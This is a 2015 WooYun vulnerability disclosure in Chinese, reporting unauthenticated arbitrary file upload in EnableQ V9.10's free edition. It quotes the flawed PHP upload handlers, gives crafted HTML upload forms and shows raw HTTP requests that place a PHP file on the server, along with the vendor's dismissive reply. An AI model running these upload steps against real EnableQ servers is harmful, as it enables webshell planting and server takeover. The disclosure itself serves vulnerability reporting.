当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(17) 关注此漏洞

缺陷编号: WooYun-2015-128219

漏洞标题: EnableQ官方免费版存在多处任意文件上传,免登陆可直接getshell

相关厂商: 北京科维能动信息技术有限公司

漏洞作者: Bear baby

提交时间: 2015-07-21 22:25

公开时间: 2015-10-20 13:51

漏洞类型: 文件上传导致任意代码执行

危害等级: 高

自评Rank: 18

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

7人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-21: 细节已通知厂商并且等待厂商处理中
2015-07-22: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-09-15: 细节向核心白帽子及相关领域专家公开
2015-09-25: 细节向普通白帽子公开
2015-10-05: 细节向实习白帽子公开
2015-10-20: 细节向公众公开

简要描述:

《一直默默努力》
版本:EnableQ_V9.10_免费版_2问卷许可证_整合安装包_For Windows
下载路径:
http://www.enableq.com/control/WebAPI/Download.php?downloadID=52&language=CN

详细说明:

看页面上面的下载次数还挺多的 ,26万多次下载。

1.png





虽然官方已经更新到10.20但是提供的免费版还是9.10版,简单分析一下,该版本存在多处任意文件上传漏洞,导致可直接Getshell。



文件位置:Android/FileUpload.php

部分代码如下:

code 区域
session_start( );
require_once( ROOT_PATH."Entry/Global.fore.php" );
$thisFiles = "uploadedfile_".$_GET['optionID'];
$filePhyPath = $Config['absolutenessPath']."/PerUserData/tmp/";
CreateDir( $filePhyPath );
$time = Time( );
if ( is_dir( $filePhyPath ) && ( $tmpFilePath = opendir( $filePhyPath ) ) )
{
while ( ( $tmpFile = readdir( $tmpFilePath ) ) !== FALSE )
{
$theFileTime = filectime( $filePhyPath.$tmpFile );
if ( !( $theFileTime <= $time - 86400 ) && !( $tmpFile != "index.html" ) )
{
@unlink( $filePhyPath.$tmpFile );
}
}
closedir( $tmpFilePath );
}
if ( !isset( $_FILES[$thisFiles] ) && !is_uploaded_file( $_FILES[$thisFiles]['tmp_name'] ) && $_FILES[$thisFiles]['error'] != 0 )
{
header( "HTTP/1.1 500 File Upload Error" );
if ( isset( $_FILES[$thisFiles] ) )
{
echo "false|".$_GET['optionID']."|".$_FILES[$thisFiles]['error'];
}
exit( );
}
$question_File_ID = dmeqjch( "_", $thisFiles );
$tmpExt = dmeqjch( ".", $_FILES[$thisFiles]['name'] );
$tmpNum = count( $tmpExt ) - 1;
$extension = strtolower( $tmpExt[$tmpNum] );
if ( $question_File_ID['2'] != "" )
{
$newFileName = $question_File_ID['2']."_".date( "YmdHis", $time ).rand( 1, 999 ).".".$extension;
}
else
{
$newFileName = date( "YmdHis", $time ).rand( 1, 999 ).".".$extension;
}
if ( Copy( $_FILES[$thisFiles]['tmp_name'], $filePhyPath.$newFileName ) )
{
echo "true|".$_GET['optionID']."|".$newFileName;
exit( );
}
?>





没啥验证即可上传任意文件,保存位置为PerUserData/tmp/

根据上面的代码构造一个上传页面如下,



code 区域
<form action="http://网站/Android/FileUpload.php?optionID=1" method="post" enctype="multipart/form-data" name="form1" id="form1">
<input type="file" name="uploadedfile_1" id="fileField" />
<input type="submit" name="button" id="button" value="提交" />
</form>





Fiddler抓包如下:

code 区域
Request

POST **.**.**.**:9009/enableq/Android/FileUpload.php?optionID=1 HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/7.0)
Content-Type: multipart/form-data; boundary=---------------------------7df15424111c02
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Length: 351
Host: **.**.**.**:9009
Pragma: no-cache
Cookie: PHPSESSID=3db104004741b2b97d850ac25cdbfbb3

-----------------------------7df15424111c02
Content-Disposition: form-data; name="uploadedfile_1"; filename="C:\Users\Administrator\Desktop\i.php"
Content-Type: application/php

<?php phpinfo();?>
-----------------------------7df15424111c02
Content-Disposition: form-data; name="button"

submit
-----------------------------7df15424111c02—

Response
HTTP/1.1 200 OK
Date: Tue, 21 Jul 2015 13:12:48 GMT
Server: Apache/2.2.19 (Win32) PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 28
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

true|1|20150721211248628.php



对应路径即为:/PerUserData/tmp/20150721211248628.php,如下图

2.png





第二处

文件位置:/JS/DistributionUpload.php

部分代码如下:



code 区域
$thisFiles = $_POST['uploadFileName'];
$filePhyPath = $Config['absolutenessPath']."/PerUserData/tmp/";
CreateDir( $filePhyPath );
$time = Time( );
if ( is_dir( $filePhyPath ) && ( $tmpFilePath = opendir( $filePhyPath ) ) )
{
while ( ( $tmpFile = readdir( $tmpFilePath ) ) !== FALSE )
{
$theFileTime = filectime( $filePhyPath.$tmpFile );
if ( !( $theFileTime <= $time - 86400 ) && !( $tmpFile != "index.html" ) )
{
@unlink( $filePhyPath.$tmpFile );
}
}
closedir( $tmpFilePath );
}
if ( !isset( $_FILES[$thisFiles] ) && !is_uploaded_file( $_FILES[$thisFiles]['tmp_name'] ) && $_FILES[$thisFiles]['error'] != 0 )
{
header( "HTTP/1.1 500 File Upload Error" );
if ( isset( $_FILES[$thisFiles] ) )
{
echo $_FILES[$thisFiles]['error'];
}
exit( );
}
if ( file_exists( $filePhyPath.$_FILES[$thisFiles]['name'] ) )
{
@unlink( $filePhyPath.$_FILES[$thisFiles]['name'] );
}
if ( Copy( $_FILES[$thisFiles]['tmp_name'], $filePhyPath.$_FILES[$thisFiles]['name'] ) )
{
echo $_FILES[$thisFiles]['name'];
exit( );
}





和第一个代码基本一致,没过滤。稍微更改下构造的上传页面如下:

code 区域
<form action="http://网站/JS/DistributionUpload.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
<input type="hidden" name ="uploadFileName" value="uploadedfile_1" />
<input type="file" name="uploadedfile_1" id="fileField" />
<input type="submit" name="button" id="button" value="submit" />
</form>





Fiddler抓包如下:



code 区域
POST **.**.**.**:9009/enableq/JS/DistributionUpload.php HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/7.0)
Content-Type: multipart/form-data; boundary=---------------------------7df3a1a111c02
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Length: 465
Host: **.**.**.**:9009
Pragma: no-cache
Cookie: PHPSESSID=3db104004741b2b97d850ac25cdbfbb3

-----------------------------7df3a1a111c02
Content-Disposition: form-data; name="uploadFileName"

uploadedfile_1
-----------------------------7df3a1a111c02
Content-Disposition: form-data; name="uploadedfile_1"; filename="C:\Users\Administrator\Desktop\i.php"
Content-Type: application/php

<?php phpinfo();?>
-----------------------------7df3a1a111c02
Content-Disposition: form-data; name="button"

submit
-----------------------------7df3a1a111c02--

Response
HTTP/1.1 200 OK
Date: Tue, 21 Jul 2015 13:21:10 GMT
Server: Apache/2.2.19 (Win32) PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 5
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

i.php





这个倒是连文件名都没改,对应路径/PerUserData/tmp/i.php,如下图。



3.png





第三处

文件位置:/JS/FileUpload.php

相关代码如下:



code 区域
$thisFiles = $_POST['uploadFileName'];
if ( $Config['dataDomainName'] != "" )
{
$theFileTime = trim( $_POST['uploadFileTime'] );
$filePhyPath = $Config['absolutenessPath']."/".$Config['dataDirectory']."/response_".$_POST['theSurveyID']."/".date( "Y-m", $theFileTime )."/".date( "d", $theFileTime )."/";
}
else
{
$filePhyPath = $Config['absolutenessPath']."/PerUserData/tmp/";
}
CreateDir( $filePhyPath );
$time = Time( );
if ( is_dir( $filePhyPath ) && ( $tmpFilePath = opendir( $filePhyPath ) ) )
{
while ( ( $tmpFile = readdir( $tmpFilePath ) ) !== FALSE )
{
$theFileTime = filectime( $filePhyPath.$tmpFile );
if ( !( $theFileTime <= $time - 86400 ) && !( $tmpFile != "index.html" ) )
{
@unlink( $filePhyPath.$tmpFile );
}
}
closedir( $tmpFilePath );
}
if ( !isset( $_FILES[$thisFiles] ) && !is_uploaded_file( $_FILES[$thisFiles]['tmp_name'] ) && $_FILES[$thisFiles]['error'] != 0 )
{
header( "HTTP/1.1 500 File Upload Error" );
if ( isset( $_FILES[$thisFiles] ) )
{
echo $_FILES[$thisFiles]['error'];
}
exit( );
}
$question_File_ID = dmeqjch( "_", $thisFiles );
$tmpExt = dmeqjch( ".", $_FILES[$thisFiles]['name'] );
$tmpNum = count( $tmpExt ) - 1;
$extension = strtolower( $tmpExt[$tmpNum] );
if ( $question_File_ID['1'] != "" )
{
$newFileName = $question_File_ID['1']."_".date( "YmdHis", $time ).rand( 1, 999 ).".".$extension;
}
else
{
$newFileName = date( "YmdHis", $time ).rand( 1, 999 ).".".$extension;
}
if ( Copy( $_FILES[$thisFiles]['tmp_name'], $filePhyPath.$newFileName ) )
{
echo $newFileName;
exit( );
}





构造上传页面同第二个。

Fiddler抓包如下:



code 区域
Request
POST **.**.**.**:9009/enableq/JS/FileUpload.php HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/7.0)
Content-Type: multipart/form-data; boundary=---------------------------7df3a1a111c02
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Length: 465
Host: **.**.**.**:9009
Pragma: no-cache
Cookie: PHPSESSID=3db104004741b2b97d850ac25cdbfbb3

-----------------------------7df3a1a111c02
Content-Disposition: form-data; name="uploadFileName"

uploadedfile_1
-----------------------------7df3a1a111c02
Content-Disposition: form-data; name="uploadedfile_1"; filename="C:\Users\Administrator\Desktop\i.php"
Content-Type: application/php

<?php phpinfo();?>
-----------------------------7df3a1a111c02
Content-Disposition: form-data; name="button"

submit
-----------------------------7df3a1a111c02--

Response
HTTP/1.1 200 OK
Date: Tue, 21 Jul 2015 13:26:46 GMT
Server: Apache/2.2.19 (Win32) PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 23
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

1_20150721212647249.php





如下图

4.png





剩下

文件位置:

/JS/RecFileUpload.php

/JS/ReportFileUpload.php



代码问题、构造上传页面和第三个一致,此处不再叙说。

另有几处上传问题默认需要增强许可授权,此处不贴出。



漏洞证明:

修复方案:

版权声明:转载请注明来源 Bear baby@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-10-20 13:51

厂商回复:

https:///vul/info/qid/QTVA-2014-
该漏洞存在于老版本,并且在360漏洞平台上2014-12-02已经报告,并且官方已经处理。但仍然谢谢@Bear baby

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-07-21 22:38 | Bear baby ( 普通白帽子 | Rank:238 漏洞数:28 | 总感觉我会在哪天突然顿悟。)
    0

    审核的同志幸苦了。。这么晚还在工作。向您致敬。。

登录后才能发表评论,请先 登录